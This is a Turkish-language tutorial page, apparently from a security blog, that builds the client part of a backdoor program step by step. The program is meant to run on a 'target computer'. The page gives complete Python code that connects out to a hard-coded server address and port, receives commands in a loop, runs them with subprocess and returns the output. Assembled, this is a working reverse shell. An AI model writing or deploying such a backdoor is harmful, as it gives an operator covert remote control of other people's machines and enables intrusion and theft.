> For the complete documentation index, see [llms.txt](https://bytistan.gitbook.io/baytistan/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bytistan.gitbook.io/baytistan/arka-kapi/istemci-arka-kapi-programi.md).

# İstemci - Arka Kapı Programı

İstemci: Hedef bilgisayarda çalıştıracağım program, bana faydalı olabilmesi için şu en azından şu özelliklere sahip olması gerekir:

* Komut çalıştırma.
* İşletim sistemi ile etkileşime geçme.
* Dosya indirme ve yükleme.

{% hint style="warning" %}
Sunucu ile çok fazla benzer noktası olduğu için o kısımları burada tekrar anlatmayacağım.
{% endhint %}

## Temel Yapının Kurulması

Hedef bilgisayar üzerinde komut çalıştırma ve veri iletimi gibi görevleri bulunduğundan, sunucu ile arasında bazı küçük farklar vardır.

### Dosyanın Oluşturulması

Ben `client` adını verdim sen istediğin adı verebilirsin.

```bash
touch client.py
```

### Bağımlılıkların İçe Aktarılması

Her projede olduğu gibi bazı kütüphanelerden faydalanmak gerekiyor.  Arka kapı programı yazdığım için işletim sistemi ve terminal ile etkileşime geçebileceğim kütüphaneleri kullanıyorum.

```python
import socket
import subprocess
```

`subprocess` terminal de komut çalıştırmamı sağlayan bir kütüphane.&#x20;

### Sınıf ve Metotların Oluşturulması

Gelen komutu işlemek ve çıktısını suncuya göndermek  için oluşturduğum bir yapı.

```python
# ...

class Client:
    def __init__(self):
        # ...
        pass
        
    def process(self, data):
        # ...
        pass
        
    def listen(self):
        # ...
        pass
# ...
```

Burada sunucu'dan farklı olarak, gelen komutu işlemek için `process` metot'u bulunuyor.

***

## Sunucu ile Bağlantı Kurulması

Program başlatıldığında otomatik olarak sunucuya bağlanması gerek, nesne çağrıldığında bağlanmasını sağlıyorum.

```python
# ...

def __init__(self):
    self.host = "192.168.1.106" # Sunucu IP
    self.port = 5000 # Sunucu PORT
    
    self.conn = socket.socket()  
    self.conn.connect((self.host, self.port)) 

# ...
```

`conn` nesnesinin `connect` methodunu kullanarak sunucuya bağlanıyorum.

### Bağlantının Sürdürülmesi

Bağlantının sürekli olması gerek, bu yüzden sürekli çalışan ve dinleme yapan bir kısım oluşturuyorum.

<pre class="language-python"><code class="lang-python"># ...

def listen(self):
    while True:
        data = self.conn.recv(1024).decode()  
        
        if data == "bye":
            break

<strong>        result = self.process(data)
</strong><strong>        
</strong><strong>        message = result if len(result) > 0 else "[INFO] Command run." 
</strong><strong>    
</strong><strong>        self.conn.send(message.encode())  
</strong>
    self.conn.close()

# ...
</code></pre>

Eğer gelen veri `"bye"` ise program sonlanıyor.

Değilse `process` metot'u ile çalıştırılıp elde edilen çıktı `send` metot'u ile sunucuya yollanıyor.

***

## Komutların Çalıştırılması

Bu kısımda gelen komutları `process` metotdu aracılığı ile arka kapı attığım bilgisayarda çalıştırıyorum.

```python
def process(self, data):
    result = subprocess.run(data.split(" "), capture_output=True, text=True)
    return result.stdout
```

`subprocess` nesnesinin `run` metot'una, çalıştırmak istediğim komutların listesini, ilk argüman olarak veriyorum. Bu liste, baştan başlayarak komutları sırayla çalıştırır. `capture_output=True` parametresi çıktının yakalanmasını sağlar, `text=True` ile de çıktı metin formatında alınır.

***

## Nesnenin Başlatılması

Son olarak oluşturduğum nesneyi başlatıyorum.

```python
if __name__ == '__main__':
    client = Client()
    client.listen()
```

Şimdi gelin programı deneyelim.
